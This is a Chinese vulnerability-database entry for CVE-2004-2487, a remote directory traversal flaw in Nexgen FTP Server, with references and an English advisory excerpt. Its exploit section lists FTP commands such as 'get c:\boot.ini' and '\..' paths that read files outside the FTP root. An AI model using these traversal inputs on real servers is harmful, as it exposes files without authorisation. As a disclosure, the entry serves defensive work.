NexGen FTP Server远程目录遍历漏洞

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漏洞ID 1107835 漏洞类型 输入验证
发布时间 2004-03-24 更新时间 2006-01-25
CVE编号 CVE-2004-2487 CNNVD-ID CNNVD-200412-1191
漏洞平台 Windows CVSS评分 4.0
|漏洞来源
https://www.exploit-db.com/exploits/23877
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-1191
|漏洞详情
NexgenFTPServer是一款多功能的FTP服务程序。NexgenFTPServer包含的多个FTP命令对参数缺少充分过滤,远程攻击者可以利用这个漏洞以FTP权限查看任意文件内容。部分如'ls','dir','get'命令对参数缺少正确检查,攻击者可以对服务器进行目录遍历攻击,以FTP权限查看任意文件内容。
|漏洞EXP
source: http://www.securityfocus.com/bid/9970/info

It has been reported that the Nexgen FTP server is prone to a remote directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize file request strings from authenticated users.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.

ls c:\*.*
ls ..
ls \..ls /../
dir c:dir \..\*.*
get c:\"Exist File" [ c:\boot.ini ]
get \..\"Exist File"
|参考资料

来源:BID
名称:9970
链接:http://www.securityfocus.com/bid/9970
来源:XF
名称:nexgen-dotdot-directory-traversal(15594)
链接:http://xforce.iss.net/xforce/xfdb/15594
来源:SECTRACK
名称:1009545
链接:http://www.securitytracker.com/alerts/2004/Mar/1009545.html
来源:OSVDB
名称:4557
链接:http://www.osvdb.org/4557
来源:www.nexgenserver.com
链接:http://www.nexgenserver.com/cgi-bin/loadframe2.cgi?/History.html
来源:SECUNIA
名称:11216
链接:http://secunia.com/advisories/11216
来源:NSFOCUS
名称:6234
链接:http://www.nsfocus.net/vulndb/6234